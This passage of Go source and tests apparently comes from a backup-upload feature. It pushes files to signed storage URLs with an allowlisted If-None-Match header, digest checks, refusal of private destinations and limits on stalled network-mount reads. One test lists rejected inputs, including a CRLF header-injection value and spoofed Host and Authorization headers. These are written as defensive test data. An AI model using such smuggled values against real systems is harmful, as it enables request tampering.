// upload URL, with the one value each may have: what the platform's
// backup.put_url signs into the URL. A change there is a change here.
var backupPushAllowedHeaders = map[string]string{"If-None-Match": "*"}
// backupPushHeaders checks the headers a host hands over with an upload URL
// against backupPushAllowedHeaders and returns them ready to send.
func backupPushHeaders(in map[string]string) (http.Header, error) {
if len(in) == 0 {
return nil, fmt.Errorf("no headers came with the upload address; the platform signs " +
"If-None-Match: * into every one and hands it over, so the host that asked is broken or not the platform's")
}
h := http.Header{}
for k, v := range in {
ck := http.CanonicalHeaderKey(k)
want, ok := backupPushAllowedHeaders[ck]
if !ok {
return nil, fmt.Errorf("header %q is not one an upload address is signed with (only If-None-Match: *)", clip(k, 64))
}
if v != want {
return nil, fmt.Errorf("header %s must be %q, not %q", ck, want, clip(v, 64))
}
h.Set(ck, v)
}
return h, nil
}
// clip is s cut to at most n bytes, for quoting what a host sent.
func clip(s string, n int) string {
if len(s) <= n {
return s
}
return s[:n] + "..."
}
type backupPushJob struct {
ID string `json:"id"`
Path string `json:"path"`
Bytes int64 `json:"bytes"`
SHA256 string `json:"sha256"`
State string `json:"state"` // pending | done | failed
Error string `json:"error,omitempty"`
Started string `json:"started_at"`
Finished string `json:"finished_at,omitempty"`
root string
done time.Time
headers http.Header // sent on the PUT (backupPushHeaders)
}
// A finished push is forgotten after this long; the host reads the outcome
// within a poll or two.
const backupPushKeep = 24 * time.Hour
var backupPushJobs = map[string]*backupPushJob{}
// backupPushFileStall bounds one operation on the file being pushed (a stat,
// the open, one read). A backup folder on a network mount that stopped
// answering can leave a read that never returns; past the bound the job fails
// with a sentence and its upload is stopped, instead of staying pending. It
// bounds a stall, not a big file: reads that keep returning never trip it, and
// neither does a slow upload (no file read is in flight while the network
// takes the bytes).
//
// backupPushRead is one read of the file being pushed; a test replaces it with
// one that never returns. Both are read under backupPushHookMu.
var (
backupPushHookMu sync.Mutex
backupPushFileStall = 2 * time.Minute
backupPushRead = func(f *os.File, p []byte) (int, error) { return f.Read(p) }
)
// ── one file operation per folder at a time ────────────────────────────────
//
// Every operation of a push on its file (a stat, the open, a read) holds its
// folder's push slot in backupReads (backupstate.go) while it runs, and counts
// toward backupReadsMax. Operations are short, so pushes from one folder, or
// from many, barely wait on each other. An operation that never returns keeps
// its slot until it does: a push behind it waits no longer than its bound and
// then fails with a sentence naming what it waited on, without an operation
// of its own, so a dead mount holds one stuck push read however often a push
// is started there. The slot is freed when the operation returns.
// pushStallBound is backupPushFileStall, read under backupPushHookMu.
func pushStallBound() time.Duration {
backupPushHookMu.Lock()
defer backupPushHookMu.Unlock()
return backupPushFileStall
}
// pushSlotWait is a push that waited past its bound for a slot to read its
// file; the error is the sentence the job fails with.
type pushSlotWait struct{ why string }
func (e *pushSlotWait) Error() string { return e.why }
// pushSlotTake takes dir's push slot for one operation on rel, a file in dir.
// It waits while dir's push slot is held, while dir's hashing read is stuck,
// or while backupReadsMax reads are in flight; for at most pushBound, then it
// returns a *pushSlotWait saying which; and not past ctx.
func pushSlotTake(ctx context.Context, dir, rel string, pushBound, hashBound time.Duration) error {
timer := time.NewTimer(pushBound)
defer timer.Stop()
late := false
for {
backupReadMu.Lock()
now := time.Now()
r := backupReads[dir]
_, stuck := folderStuckLocked(dir, now, pushBound, hashBound)
here := r != nil && !r.push.IsZero()
inFlight := readsInFlightLocked()
if !here && !stuck && inFlight < backupReadsMax {
if r == nil {
r = &folderReads{}
backupReads[dir] = r
}
r.push = now
backupReadMu.Unlock()
return nil
}
if late {
why, ok := folderStuckLocked(dir, now, pushBound, hashBound)
backupReadMu.Unlock()
if !ok && here {
why = "an earlier push"
}
msg := fmt.Sprintf("this push waited more than %s for a turn to read its file: ", pushBound)
if why != "" {
msg += folderRefusal(rel, why)
} else {
msg += capRefusal(inFlight)
}
return &pushSlotWait{msg}
}
freed := backupReadFreed
backupReadMu.Unlock()
select {
case <-freed:
case <-timer.C:
late = true
case <-ctx.Done():
return ctx.Err()
}
}
}
func folderRefusal(rel, what string) string {
return fmt.Sprintf("the folder of %s has not answered %s (a network mount that stopped?); "+
"nothing more is sent from that folder until it answers", rel, what)
}
func capRefusal(n int) string {
return fmt.Sprintf("%d reads of backup folders have not returned (network mounts that stopped?); "+
"no push starts on this machine until one does", n)
}
// pushSlotRefusal is why a push of rel, a file in dir, may not start now, or
// "" when it may: a read of dir (a push's or the hashing job's) has been in
// flight past its bound, or backupReadsMax reads have.
func pushSlotRefusal(dir, rel string, pushBound, hashBound time.Duration) string {
now := time.Now()
backupReadMu.Lock()
defer backupReadMu.Unlock()
if what, stuck := folderStuckLocked(dir, now, pushBound, hashBound); stuck {
return folderRefusal(rel, what)
}
if n := stuckReadsLocked(now, pushBound, hashBound); n >= backupReadsMax {
return capRefusal(n)
}
return ""
}
// fileWatch records since when an operation on the pushed file has been in
// flight (zero when none is). The wait for its folder's slot before it is not
// an operation on the file, and is bounded on its own (pushSlotTake).
type fileWatch struct {
mu sync.Mutex
since time.Time
ctx context.Context
job *backupPushJob
dir string
pushBound time.Duration
hashBound time.Duration
}
// do runs f holding the folder's slot. It returns an error, without running
// f, when the job ended while it waited for the slot, or when the wait
// outlasted its bound; then the job fails with the sentence of why.
func (w *fileWatch) do(f func()) error {
if err := pushSlotTake(w.ctx, w.dir, w.job.Path, w.pushBound, w.hashBound); err != nil {
var late *pushSlotWait
if errors.As(err, &late) {
finishPush(w.job, "failed", late.why)
}
return err
}
defer backupReadFree(w.dir, false)
w.mu.Lock()
w.since = time.Now()
w.mu.Unlock()
defer func() {
w.mu.Lock()
w.since = time.Time{}
w.mu.Unlock()
}()
f()
return nil
}
func (w *fileWatch) stuckFor(now time.Time) time.Duration {
w.mu.Lock()
defer w.mu.Unlock()
if w.since.IsZero() {
return 0
}
return now.Sub(w.since)
}
// watchedFile reads the pushed file under the watch.
type watchedFile struct {
f *os.File
w *fileWatch
read func(*os.File, []byte) (int, error)
}
func (r watchedFile) Read(p []byte) (n int, err error) {
if e := r.w.do(func() { n, err = r.read(r.f, p) }); e != nil {
return 0, e
}
return n, err
}
func handleBackupPush(ws *websocket.Conn, root string, args []string) {
if len(args) < 1 {
backupFail(ws, "backup_push: need a JSON argument")
return
}
var req backupPushReq
if err := json.Unmarshal([]byte(args[0]), &req); err != nil {
backupFail(ws, "backup_push: argument is not JSON: "+err.Error())
return
}
switch req.Op {
case "status":
backupJobsMu.Lock()
j, ok := backupPushJobs[req.JobID]
var snap backupPushJob
if ok {
snap = *j
}
backupJobsMu.Unlock()
// Another pairing's job reads exactly as a job this bastion never had.
if !ok || snap.root != root {
backupOK(ws, map[string]string{"job_id": req.JobID, "state": "unknown"})
return
}
out := map[string]string{"job_id": snap.ID, "state": snap.State}
if snap.Error != "" {
out["error"] = snap.Error
}
backupOK(ws, out)
case "start", "":
backupPushStart(ws, root, req)
default:
backupFail(ws, "backup_push: unknown op "+req.Op)
}
}
func backupPushStart(ws *websocket.Conn, root string, req backupPushReq) {
abs, why := backupResolveFile(mgmtSelf(ws), root, req.Path)
if why != "" {
backupFail(ws, "backup_push: "+why)
return
}
if _, err := hex.DecodeString(req.SHA256); err != nil || len(req.SHA256) != 64 {
backupFail(ws, "backup_push: sha256 must be 64 hex characters")
return
}
if err := validateBackupURL(req.URL); err != nil {
backupFail(ws, "backup_push: "+err.Error())
return
}
headers, err := backupPushHeaders(req.Headers)
if err != nil {
backupFail(ws, "backup_push: "+err.Error())
return
}
if why := pushSlotRefusal(filepath.Dir(abs), req.Path, pushStallBound(), hashBound()); why != "" {
backupFail(ws, "backup_push: "+why)
return
}
now := time.Now()
job := &backupPushJob{ID: newBackupJobID("bp"), Path: req.Path, SHA256: strings.ToLower(req.SHA256),
State: "pending", Started: now.UTC().Format(time.RFC3339), root: root, headers: headers}
backupJobsMu.Lock()
for id, j := range backupPushJobs {
if !j.done.IsZero() && now.Sub(j.done) > backupPushKeep {
delete(backupPushJobs, id)
}
}
backupPushJobs[job.ID] = job
backupJobsMu.Unlock()
go runBackupPush(job, req.URL, abs)
backupOK(ws, map[string]string{"job_id": job.ID, "state": "pending"})
}
// finishPush records the outcome of a push job. The first outcome stands:
// a read that returns after the job was failed for not returning changes
// nothing.
func finishPush(job *backupPushJob, state, msg string) {
backupJobsMu.Lock()
defer backupJobsMu.Unlock()
if job.State != "pending" {
return
}
job.State, job.Error = state, redactURLs(msg)
job.done = time.Now()
job.Finished = job.done.UTC().Format(time.RFC3339)
}
// runBackupPush runs the push and watches its file: when an operation on the
// file has not returned within backupPushFileStall, the job fails and the
// upload is stopped. A stuck operation cannot be stopped; it keeps its
// folder's slot until it returns by itself. A wait for the slot is not an
// operation on the file; it fails the job on its own bound (fileWatch.do).
func runBackupPush(job *backupPushJob, rawURL, abs string) {
ctx, cancel := context.WithTimeout(context.Background(), backupFetchTimeout)
defer cancel()
backupPushHookMu.Lock()
bound, read := backupPushFileStall, backupPushRead
backupPushHookMu.Unlock()
w := &fileWatch{ctx: ctx, job: job, dir: filepath.Dir(abs), pushBound: bound, hashBound: hashBound()}
done := make(chan struct{})
go func() {
defer close(done)
pushFile(ctx, job, rawURL, abs, w, read)
}()
every := bound / 4
if every < 10*time.Millisecond {
every = 10 * time.Millisecond
}
tick := time.NewTicker(every)
defer tick.Stop()
for {
select {
case <-done:
return
case now := <-tick.C:
if w.stuckFor(now) > bound {
finishPush(job, "failed", fmt.Sprintf("the backup folder stopped answering: an operation on the file "+
"did not return within %s (a network mount that stopped?); the upload was stopped", bound))
return
}
}
}
}
func pushFile(ctx context.Context, job *backupPushJob, rawURL, abs string, w *fileWatch,
read func(*os.File, []byte) (int, error)) {
finish := func(state, msg string) { finishPush(job, state, msg) }
var before os.FileInfo
var err error
if e := w.do(func() { before, err = os.Lstat(abs) }); e != nil {
finish("failed", e.Error())
return
}
if err != nil || !before.Mode().IsRegular() {
finish("failed", "no backup file at that path")
return
}
var f *os.File
if e := w.do(func() { f, err = os.Open(abs) }); e != nil {
finish("failed", e.Error())
return
}
if err != nil {
finish("failed", err.Error())
return
}
defer f.Close()
// What was opened is what was checked: a link put in its place between
// the check and the open is a different file, and is refused.
var fi os.FileInfo
if e := w.do(func() { fi, err = f.Stat() }); e != nil {
finish("failed", e.Error())
return
}
if err != nil || !os.SameFile(before, fi) {
finish("failed", "the file changed while it was being opened")
return
}
backupJobsMu.Lock()
job.Bytes = fi.Size()
backupJobsMu.Unlock()
file := watchedFile{f, w, read}
// The digest the host named, checked before anything is sent: from the
// cache when this exact file (size and modification time) was hashed
// already, else read once here.
sum := cachedHash(abs, fi)
if sum == "" {
h := sha256.New()
if _, err := io.Copy(h, file); err != nil {
finish("failed", err.Error())
return
}
sum = hex.EncodeToString(h.Sum(nil))
noteHash(abs, fi, sum)
if e := w.do(func() { _, err = f.Seek(0, io.SeekStart) }); e != nil {
err = e
}
if err != nil {
finish("failed", err.Error())
return
}
}
if sum != job.SHA256 {
finish("failed", "the file at that path is not the one named (sha256 differs)")
return
}
// The bytes sent are hashed again as they go. If the file changed after
// the check, the job says so rather than done.
h := sha256.New()
req, err := http.NewRequestWithContext(ctx, http.MethodPut, rawURL, io.TeeReader(io.LimitReader(file, fi.Size()), h))
if err != nil {
finish("failed", err.Error())
return
}
for k, vs := range job.headers {
req.Header[k] = append([]string(nil), vs...)
}
req.ContentLength = fi.Size()
dialer := &net.Dialer{Timeout: 30 * time.Second, Control: func(network, address string, _ syscall.RawConn) error {
host, _, err := net.SplitHostPort(address)
if err != nil {
return err
}
if ip := net.ParseIP(host); ip == nil || !backupDialAllowed(ip) {
return fmt.Errorf("refused: %s is on this machine or this network — a backup destination must be a public address", host)
}
return nil
}}
transport := http.DefaultTransport.(*http.Transport).Clone()
transport.DialContext = dialer.DialContext
transport.Proxy = nil
client := &http.Client{Transport: transport,
// A signed upload URL does not redirect; following one would send the
// backup somewhere the host did not name.
CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
resp, err := client.Do(req)
if err != nil {
finish("failed", err.Error())
return
}
resp.Body.Close()
if resp.StatusCode == http.StatusPreconditionFailed {
finish("failed", "the destination already holds an object there (HTTP 412); nothing was replaced")
return
}
if resp.StatusCode < 200 || resp.StatusCode > 299 {
finish("failed", fmt.Sprintf("the destination answered HTTP %d", resp.StatusCode))
return
}
if hex.EncodeToString(h.Sum(nil)) != job.SHA256 {
finish("failed", "the file changed while it was being sent; what arrived is not the backup named")
return
}
finish("done", "")
}
+78
View File
@@ -0,0 +1,78 @@
package main
// Gate: a push whose file stops answering (a network mount that died while
// the job reads it) does not stay pending: a read of the file that does not
// return within the bound fails the job with a sentence, whether it is stuck
// checking the digest or sending.
import (
"errors"
"os"
"path/filepath"
"strings"
"sync"
"testing"
"time"
)
// deadMountReads makes every read of a pushed file block until the test ends,
// then fail, as a read of a mount that went away does.
func deadMountReads(t *testing.T) {
t.Helper()
gate := make(chan struct{})
var once sync.Once
backupPushHookMu.Lock()
prev := backupPushRead
backupPushRead = func(f *os.File, p []byte) (int, error) {
<-gate
return 0, errors.New("the mount went away")
}
backupPushHookMu.Unlock()
t.Cleanup(func() {
once.Do(func() { close(gate) })
backupPushHookMu.Lock()
backupPushRead = prev
backupPushHookMu.Unlock()
})
}
func TestAPushFromAFolderThatStopsAnsweringFails(t *testing.T) {
allowLoopbackFetch(t)
backupPushHookMu.Lock()
prevStall := backupPushFileStall
backupPushFileStall = 200 * time.Millisecond
backupPushHookMu.Unlock()
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prevStall; backupPushHookMu.Unlock() })
for _, phase := range []string{"checking the digest", "sending"} {
t.Run(phase, func(t *testing.T) {
root := t.TempDir()
_, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
abs := filepath.Join(root, fixtureData)
if phase == "sending" {
// The digest is known, so the first read is the upload's.
fi, err := os.Lstat(abs)
if err != nil {
t.Fatal(err)
}
noteHash(abs, fi, sum)
}
srv, _, _ := uploadServer(t, 200)
deadMountReads(t)
job := pushJob(root, sum)
done := make(chan struct{})
go func() { runBackupPush(job, srv.URL+"/put", abs); close(done) }()
select {
case <-done:
case <-time.After(5 * time.Second):
t.Fatal("a push whose file stopped answering is still running")
}
backupJobsMu.Lock()
state, msg := job.State, job.Error
backupJobsMu.Unlock()
if state != "failed" || !strings.Contains(msg, "stopped answering") {
t.Fatalf("the job reads %s %q", state, msg)
}
})
}
}
+165
View File
@@ -0,0 +1,165 @@
package main
// Gate: the headers an upload URL was signed with go on the PUT. The
// platform's backup.put_url signs If-None-Match: * into every single-PUT URL
// and returns it under
// `headers`; the storage answers 403 to a PUT without it and 412 to a second
// PUT to the same key. The test server below answers the same way.
import (
"encoding/json"
"io"
"net/http"
"net/http/httptest"
"path/filepath"
"strings"
"sync"
"testing"
)
// s3LikeServer answers a PUT as a presigned S3 PUT signed with
// If-None-Match: * does: 403 without the header, 412 when the key is there,
// else 200 and the key is written.
func s3LikeServer(t *testing.T) (*httptest.Server, map[string][]byte) {
t.Helper()
var mu sync.Mutex
stored := map[string][]byte{}
srv := httptest.NewTLSServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
body, _ := io.ReadAll(r.Body)
if r.Method != http.MethodPut || r.Header.Get("If-None-Match") != "*" {
w.WriteHeader(http.StatusForbidden) // SignatureDoesNotMatch
return
}
mu.Lock()
defer mu.Unlock()
if _, ok := stored[r.URL.Path]; ok {
w.WriteHeader(http.StatusPreconditionFailed)
return
}
stored[r.URL.Path] = body
w.WriteHeader(http.StatusOK)
}))
t.Cleanup(srv.Close)
old := http.DefaultTransport
http.DefaultTransport = srv.Client().Transport
t.Cleanup(func() { http.DefaultTransport = old })
return srv, stored
}
// The platform's reply, as backup.put_url returns it.
const putURLReply = `{"url": "https://x/put", "key": "k", "expires_at": "t", "size": 8, "headers": {"If-None-Match": "*"}}`
func TestBackupPushSendsTheSignedHeaders(t *testing.T) {
allowLoopbackFetch(t)
root := t.TempDir()
body := []byte("a backup")
_, sum := pushFixture(t, root, body)
srv, stored := s3LikeServer(t)
var reply struct {
Headers map[string]string `json:"headers"`
}
if err := json.Unmarshal([]byte(putURLReply), &reply); err != nil {
t.Fatal(err)
}
abs := filepath.Join(root, fixtureData)
// Without the headers the storage refuses the PUT: the old behaviour.
bare := pushJob(root, sum)
runBackupPush(bare, srv.URL+"/b", abs)
if bare.State != "failed" || !strings.Contains(bare.Error, "403") {
t.Fatalf("a PUT without the signed header: %s %s", bare.State, bare.Error)
}
h, err := backupPushHeaders(reply.Headers)
if err != nil {
t.Fatal(err)
}
job := pushJob(root, sum)
job.headers = h
runBackupPush(job, srv.URL+"/s/obj", abs)
if job.State != "done" || string(stored["/s/obj"]) != string(body) {
t.Fatalf("with the signed header: %s %s", job.State, job.Error)
}
// A second PUT to the same key is refused by the storage, and the job says so.
again := pushJob(root, sum)
again.headers = h
runBackupPush(again, srv.URL+"/s/obj", abs)
if again.State != "failed" || !strings.Contains(again.Error, "412") || !strings.Contains(again.Error, "nothing was replaced") {
t.Fatalf("a second PUT: %s %s", again.State, again.Error)
}
}
// Through the management lane: start keeps the one header the platform signs
// (If-None-Match: *) for the job, and refuses every other header name, and
// any other value for that one, before a job starts.
func TestBackupPushStartTakesTheHeaders(t *testing.T) {
stubPublicDNS(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte("a backup"))
start := func(h map[string]string) (string, string, int) {
return driveBackupOp(t, "backup_push", "", root,
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: sum, Headers: h})
}
jobHeaders := func(out string) http.Header {
var started map[string]string
_ = json.Unmarshal([]byte(out), &started)
backupJobsMu.Lock()
defer backupJobsMu.Unlock()
if j := backupPushJobs[started["job_id"]]; j != nil {
return j.headers.Clone()
}
return nil
}
for name, h := range map[string]map[string]string{
"as put_url returns it": {"If-None-Match": "*"},
"the name in lower case": {"if-none-match": "*"},
} {
out, errOut, code := start(h)
if code != 0 {
t.Fatalf("%s: start refused the signed header: %s", name, errOut)
}
if got := jobHeaders(out); len(got) != 1 || got.Get("If-None-Match") != "*" {
t.Fatalf("%s: the job carries %v", name, got)
}
}
// No headers at all is refused too: the platform always signs
// If-None-Match: * into the URL and hands it over, so a start without it
// comes from a broken or tampered host. The refusal says so in a sentence.
for name, h := range map[string]map[string]string{
"no headers": nil,
"an empty header set": {},
} {
out, errOut, code := start(h)
if code == 0 {
t.Errorf("%s: accepted (%s)", name, out)
continue
}
if !strings.Contains(errOut, "backup_push: no headers came with the upload address") {
t.Errorf("%s: refused without saying why: %s", name, errOut)
}
}
for name, h := range map[string]map[string]string{
"an unexpected header": {"X-Amz-Meta-Note": "hello"},
"an unexpected header as well": {"If-None-Match": "*", "Authorization": "Bearer x"},
"another If-None-Match value": {"If-None-Match": `"etag"`},
"a padded value": {"If-None-Match": " *"},
"an empty value": {"If-None-Match": ""},
"If-Match": {"If-Match": "*"},
"Host": {"host": "elsewhere.example"},
"Content-Length": {"Content-Length": "1"},
"Transfer-Encoding": {"Transfer-Encoding": "chunked"},
"Connection": {"Connection": "close"},
"a split line": {"If-None-Match": "*\r\nX-Evil: 1"},
"a bad name": {"If None Match": "*"},
"an empty name": {"": "*"},
"a long name": {strings.Repeat("X", 4096): "*"},
} {
_, errOut, code := start(h)
if code == 0 || !strings.Contains(errOut, "backup_push:") {
t.Errorf("%s: accepted (%s)", name, errOut)
}
if len(errOut) > 400 {
t.Errorf("%s: the refusal quotes %d bytes", name, len(errOut))
}
}
}
+344
View File
@@ -0,0 +1,344 @@
package main
// Gate: a push whose file stops answering leaves behind at most one stuck
// read per folder, and at most backupReadsMax on the whole bastion,
// however often a host starts a push there. A start in a folder whose read
// has not returned is refused with a sentence; when the read returns the
// folder is read again. A push that waits for a slot fails on that wait with
// a sentence naming what it waited on, never one blaming its own folder.
import (
"encoding/json"
"errors"
"os"
"path/filepath"
"runtime"
"strings"
"sync"
"sync/atomic"
"testing"
"time"
)
// stuckReads makes every read of a pushed file block until release, and
// counts the reads blocked at any moment: each one is a goroutine (and, on a
// real mount, an OS thread) that cannot be stopped.
type stuckReads struct {
gate chan struct{}
once sync.Once
blocked atomic.Int64
prev func(*os.File, []byte) (int, error)
}
// newStuckReads blocks the reads of files in dirs, or of every file when no
// folder is named; the others read as usual.
func newStuckReads(t *testing.T, dirs ...string) *stuckReads {
t.Helper()
s := &stuckReads{gate: make(chan struct{})}
dead := map[string]bool{}
for _, d := range dirs {
dead[d] = true
}
backupPushHookMu.Lock()
s.prev = backupPushRead
prev := s.prev
backupPushRead = func(f *os.File, p []byte) (int, error) {
if len(dead) > 0 && !dead[filepath.Dir(f.Name())] {
return prev(f, p)
}
s.blocked.Add(1)
defer s.blocked.Add(-1)
<-s.gate
return 0, errors.New("the mount went away")
}
backupPushHookMu.Unlock()
t.Cleanup(s.release)
return s
}
// release lets the blocked reads return, and the file answers again.
func (s *stuckReads) release() {
s.once.Do(func() {
backupPushHookMu.Lock()
backupPushRead = s.prev
backupPushHookMu.Unlock()
close(s.gate)
})
}
func shortPushStall(t *testing.T) {
t.Helper()
backupPushHookMu.Lock()
prev := backupPushFileStall
backupPushFileStall = 200 * time.Millisecond
backupPushHookMu.Unlock()
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prev; backupPushHookMu.Unlock() })
}
// pushSlotsIdle waits for reads left blocked by an earlier test to return.
func pushSlotsIdle(t *testing.T) {
t.Helper()
eventually(t, "the push slots of an earlier test are freed", func() bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return len(backupReads) == 0
})
}
func eventually(t *testing.T, what string, ok func() bool) {
t.Helper()
deadline := time.Now().Add(5 * time.Second)
for !ok() {
if time.Now().After(deadline) {
t.Fatalf("never: %s", what)
}
time.Sleep(10 * time.Millisecond)
}
}
// fdsOn counts this process's open descriptors on path, or -1 where the
// system does not list them.
func fdsOn(path string) int {
dir := "/proc/self/fd"
if _, err := os.Stat(dir); err != nil {
dir = "/dev/fd"
}
ents, err := os.ReadDir(dir)
if err != nil {
return -1
}
want, err := filepath.EvalSymlinks(path)
if err != nil {
return -1
}
n := 0
for _, e := range ents {
if l, err := os.Readlink(filepath.Join(dir, e.Name())); err == nil && l == want {
n++
}
}
return n
}
func startPush(t *testing.T, root, rel, sum string) (string, string, int) {
t.Helper()
return driveBackupOp(t, "backup_push", "", root,
backupPushReq{Op: "start", Path: rel, URL: "https://storage.example/put?sig=1", SHA256: sum, Headers: signedPut})
}
// pushStarted starts a push and returns its job id.
func pushStarted(t *testing.T, root, rel, sum string) string {
t.Helper()
out, errOut, code := startPush(t, root, rel, sum)
if code != 0 {
t.Fatalf("start refused: %s", errOut)
}
var st map[string]string
if err := json.Unmarshal([]byte(out), &st); err != nil || st["job_id"] == "" {
t.Fatalf("start reply: %s", out)
}
return st["job_id"]
}
func mustFailStuck(t *testing.T, root, id string) {
t.Helper()
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "stopped answering") {
t.Fatalf("a push whose file stopped answering reads %v", st)
}
}
// failures waits for each push to fail and counts the ones whose own read
// stopped answering and the ones that failed waiting, with a sentence that
// holds want, for a slot to read. Any other outcome fails the test.
func failures(t *testing.T, want string, pushes ...[2]string) (stuck, waited int) {
t.Helper()
for _, p := range pushes {
st := awaitPush(t, p[0], p[1])
switch {
case st["state"] == "failed" && strings.Contains(st["error"], "stopped answering"):
stuck++
case st["state"] == "failed" && strings.Contains(st["error"], "this push waited more than") &&
strings.Contains(st["error"], want):
waited++
default:
t.Fatalf("a push from a dead folder reads %v", st)
}
}
return stuck, waited
}
// capReads lowers backupReadsMax to n for the test.
func capReads(t *testing.T, n int) {
t.Helper()
backupReadMu.Lock()
prev := backupReadsMax
backupReadsMax = n
backupReadMu.Unlock()
t.Cleanup(func() { backupReadMu.Lock(); backupReadsMax = prev; backupReadMu.Unlock() })
}
func TestRepeatedPushesFromADeadFolderHoldOneRead(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
pushSlotsIdle(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
abs := filepath.Join(root, fixtureData)
s := newStuckReads(t)
// Two starts back to back, before either is known to be stuck: one read
// blocks, the other push waits for the folder and fails at the same
// bound without a read of its own, saying the folder has not answered.
a := pushStarted(t, root, rel, sum)
b := pushStarted(t, root, rel, sum)
if stuck, waited := failures(t, "the folder of "+rel+" has not answered an earlier push",
[2]string{root, a}, [2]string{root, b}); stuck != 1 || waited != 1 {
t.Fatalf("%d pushes failed on their own read and %d waiting for the folder; want 1 and 1", stuck, waited)
}
eventually(t, "one read is left blocked and one descriptor open", func() bool {
f := fdsOn(abs)
return s.blocked.Load() == 1 && (f == -1 || f == 1)
})
time.Sleep(100 * time.Millisecond)
g0, f0 := runtime.NumGoroutine(), fdsOn(abs)
for i := 0; i < 10; i++ {
out, errOut, code := startPush(t, root, rel, sum)
if code == 0 {
t.Fatalf("start %d in a folder whose read has not returned was accepted: %s", i, out)
}
if !strings.Contains(errOut, "backup_push: the folder of "+rel+" has not answered an earlier push") ||
!strings.Contains(errOut, "nothing more is sent from that folder until it answers") {
t.Fatalf("start %d refused without the sentence: %s", i, errOut)
}
}
eventually(t, "the refused starts leave no goroutine behind", func() bool {
return runtime.NumGoroutine() <= g0+3
})
if n := s.blocked.Load(); n != 1 {
t.Fatalf("%d reads are blocked on the dead folder after repeated starts; want 1", n)
}
if f := fdsOn(abs); f != f0 {
t.Fatalf("%d descriptors are open on the file after repeated starts; was %d", f, f0)
}
}
func TestAPushFolderIsReadAgainWhenItsReadReturns(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
pushSlotsIdle(t)
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
s := newStuckReads(t)
mustFailStuck(t, root, pushStarted(t, root, rel, sum))
if _, errOut, code := startPush(t, root, rel, sum); code == 0 || !strings.Contains(errOut, "has not answered an earlier push") {
t.Fatalf("a start while the read is stuck: %d %s", code, errOut)
}
s.release()
eventually(t, "the returned read frees its folder", func() bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return len(backupReads) == 0
})
// Read to the end this time: a digest that is not the file's fails on
// the comparison, which only a full read reaches.
id := pushStarted(t, root, rel, strings.Repeat("ab", 32))
if st := awaitPush(t, root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("the folder was not read again once its read returned: %v", st)
}
}
func TestStuckPushReadsAreCappedPerBastion(t *testing.T) {
stubPublicDNS(t)
shortPushStall(t)
pushSlotsIdle(t)
capReads(t, 2)
type folder struct{ root, rel, sum string }
var fs []folder
for i := 0; i < 4; i++ {
root := t.TempDir()
rel, sum := pushFixture(t, root, []byte(strings.Repeat("a backup ", 1000)))
fs = append(fs, folder{root, rel, sum})
}
s := newStuckReads(t)
// Three dead folders started at once: two reads block, the third push
// waits for a slot and fails at the bound without a read of its own,
// saying the cap is held.
var ps [][2]string
for _, f := range fs[:3] {
ps = append(ps, [2]string{f.root, pushStarted(t, f.root, f.rel, f.sum)})
}
if stuck, waited := failures(t, "2 reads of backup folders have not returned", ps...); stuck != 2 || waited != 1 {
t.Fatalf("%d pushes failed on their own read and %d waiting for a slot; want 2 and 1", stuck, waited)
}
time.Sleep(100 * time.Millisecond)
if n := s.blocked.Load(); n != 2 {
t.Fatalf("%d reads are blocked; the cap is 2", n)
}
// A folder that answers is refused too while the cap is held.
f := fs[3]
_, errOut, code := startPush(t, f.root, f.rel, f.sum)
if code == 0 || !strings.Contains(errOut, "backup_push: 2 reads of backup folders have not returned") ||
!strings.Contains(errOut, "no push starts on this machine until one does") {
t.Fatalf("a start with the cap held: %d %s", code, errOut)
}
if n := s.blocked.Load(); n != 2 {
t.Fatalf("%d reads are blocked after a refused start; want 2", n)
}
s.release()
eventually(t, "the returned reads free their slots", func() bool {
backupReadMu.Lock()
defer backupReadMu.Unlock()
return len(backupReads) == 0
})
id := pushStarted(t, f.root, f.rel, strings.Repeat("ab", 32))
if st := awaitPush(t, f.root, id); st["state"] != "failed" || !strings.Contains(st["error"], "sha256 differs") {
t.Fatalf("a push after the reads returned: %v", st)
}
}
// A push already under way in a folder that answers, waiting for a slot while
// other folders' reads hold the cap, fails with the sentence about those
// folders, not one blaming its own: the wait is not a read of its file.
func TestAPushWaitingForASlotIsNotBlamedOnItsOwnFolder(t *testing.T) {
stubPublicDNS(t)
pushSlotsIdle(t)
// Long enough that the third start is taken before the two stuck reads
// are past the bound, even on a loaded machine.
backupPushHookMu.Lock()
prevStall := backupPushFileStall
backupPushFileStall = time.Second
backupPushHookMu.Unlock()
t.Cleanup(func() { backupPushHookMu.Lock(); backupPushFileStall = prevStall; backupPushHookMu.Unlock() })
capReads(t, 2)
dead1, dead2, healthy := t.TempDir(), t.TempDir(), t.TempDir()
body := []byte(strings.Repeat("a backup ", 1000))
rel, sum := pushFixture(t, dead1, body)
pushFixture(t, dead2, body)
pushFixture(t, healthy, body)
s := newStuckReads(t, dead1, dead2)
a := pushStarted(t, dead1, rel, sum)
b := pushStarted(t, dead2, rel, sum)
eventually(t, "both dead folders hold a read", func() bool { return s.blocked.Load() == 2 })
// Neither read is past the bound yet, so this start is taken; its first
// operation waits for a slot.
c := pushStarted(t, healthy, rel, sum)
mustFailStuck(t, dead1, a)
mustFailStuck(t, dead2, b)
st := awaitPush(t, healthy, c)
if st["state"] != "failed" || strings.Contains(st["error"], "stopped answering") ||
!strings.Contains(st["error"], "this push waited more than 1s for a turn to read its file: "+
"2 reads of backup folders have not returned") {
t.Fatalf("a push from a folder that answers, waiting for a slot, reads %v", st)
}
if n := s.blocked.Load(); n != 2 {
t.Fatalf("%d reads are blocked; the cap is 2", n)
}
}
+331
View File
